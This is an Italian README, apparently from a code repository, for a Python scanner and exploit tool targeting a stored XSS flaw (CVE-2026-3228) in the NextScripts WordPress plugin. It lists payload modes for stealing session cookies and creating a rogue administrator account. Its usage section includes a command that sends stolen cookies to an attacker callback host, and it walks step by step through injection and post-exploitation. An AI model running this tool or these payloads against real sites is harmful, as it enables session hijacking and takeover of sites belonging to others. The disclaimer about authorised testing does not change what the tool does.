
Scansiona e sfrutta CVE-2026-3228, una XSS persistente nel plugin WordPress NextScripts, con rilevamento pre-autenticazione, controlli autenticati e iniezione di payload per PoC, furto di cookie o creazione di admin.
CVE-2026-3228 - Scanner ed Exploit per XSS Memorizzato nel Plugin WordPress NextScripts
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Autore: NULL200OK
Uno strumento Python completo per scansionare e sfruttare CVE-2026-3228, una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato nel plugin WordPress NextScripts: Social Networks Auto-Poster (versioni ≤ 4.4.6).
La vulnerabilità consente agli utenti autenticati con accesso di livello Collaboratore o superiore di iniettare JavaScript arbitrario tramite lo shortcode [nxs_fbembed]. Quando un amministratore visualizza il post infetto, lo script viene eseguito nel suo browser, portando potenzialmente al dirottamento della sessione, alla creazione di account amministratore o al compromesso del sito.
📦 Funzionalità
info – Visualizza informazioni dettagliate sulla CVE (descrizione, causa principale, impatto).
scan – Scansione pre-autenticazione per rilevare il plugin e la sua versione.
check – Verifica completa con credenziali (login, verifica dei privilegi, rilevamento della versione).
exploit – Inietta payload XSS dannosi in un nuovo post utilizzando lo shortcode vulnerabile.
Molteplici tipi di payload:
alert – Semplice finestra di avviso per la prova di concetto.
cookie – Ruba i cookie di sessione e li invia a un URL di callback.
admin – Tenta di creare un nuovo utente amministratore (richiede che un amministratore visualizzi la pagina).
html – Iniezione HTML di base con eventi onerror.
custom – JavaScript fornito dall'utente.
all – Inietta tutti i tipi di payload in post separati.
Autenticazione automatica – Gestisce il login WordPress, la gestione della sessione e l'estrazione dei nonce.
Metodi di iniezione di fallback – Prova prima l'API REST, poi l'invio tradizionale del modulo.
Output intuitivo – Messaggi di stato codificati a colori e chiare istruzioni passo-passo.
🚨 Panoramica della Vulnerabilità
ID CVE: CVE-2026-3228
Punteggio CVSS: 6.4 (Medio)
Plugin interessato: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
Causa principale:
Sanitizzazione insufficiente dell'input del valore post meta snapFB.
Escaping dell'output insufficiente durante il rendering dello shortcode [nxs_fbembed].
Privilegi richiesti: account di livello Collaboratore o superiore.
Impatto: un attaccante può eseguire JavaScript arbitrario nel contesto di qualsiasi utente (inclusi gli amministratori) che visualizza il post infetto, portando al compromesso completo del sito.
⚙️ Requisiti
Python 3.6+
requests
beautifulsoup4
Installa le dipendenze:
bash
pip install requests beautifulsoup4
🔧 Installazione
bash
cd CVE-2026-3228
📚 Utilizzo
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - Scanner ed Exploit per XSS Memorizzato nel Plugin WordPress NextScripts
argomenti posizionali:
{info,scan,check,exploit}
info Visualizza informazioni dettagliate sulla CVE
scan Controlla se il target è vulnerabile (pre-auth)
check Verifica completa con credenziali
exploit Sfrutta la vulnerabilità (richiede credenziali valide)
argomenti opzionali:
-h, --help mostra questo messaggio di aiuto ed esci
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Payload di avviso di base (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Rubare i cookie (richiede un listener)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Tentativo di creare un utente amministratore (quando un amministratore visualizza la pagina)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Inietta tutti i tipi di payload
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
JavaScript personalizzato
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 Come Funziona (Passo-Passo)
Autenticazione – Lo script accede a WordPress utilizzando le credenziali fornite e mantiene una sessione.
Verifica dei privilegi – Verifica che l'utente connesso abbia almeno accesso di livello Collaboratore (richiesto per creare post).
Generazione del payload – Crea payload JavaScript in base al tipo scelto.
Iniezione – Crea un nuovo post contenente lo shortcode vulnerabile [nxs_fbembed]. Lo script dannoso viene inserito nel campo post meta snapFB, che non viene adeguatamente sanitizzato dal plugin.
Archiviazione – Il post viene pubblicato (o salvato come bozza) e il payload viene archiviato nel database.
Attivazione – Quando un amministratore (o qualsiasi utente) visualizza il post, lo script non sanitizzato viene renderizzato ed eseguito nel suo browser.
Post-sfruttamento – A seconda del payload, l'attaccante può rubare cookie, creare account amministratore o eseguire altre azioni.
Lo script tenta prima l'iniezione tramite l'API REST di WordPress (più veloce, più pulita). Se fallisce, ripiega sull'invio tradizionale del modulo, estraendo i nonce richiesti dalla pagina dell'editor dei post.
⚠️ Disclaimer
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare è illegale. L'autore (NULL200OK) non si assume alcuna responsabilità e non è responsabile per qualsiasi uso improprio o danno causato da questo script.
📄 Licenza
Questo progetto è concesso in licenza sotto la MIT License – consulta il file LICENSE per i dettagli.
📬 Riferimenti
MITRE CVE‑2026‑3228 (segnaposto)
WordPress Plugin Directory
OWASP Stored XSS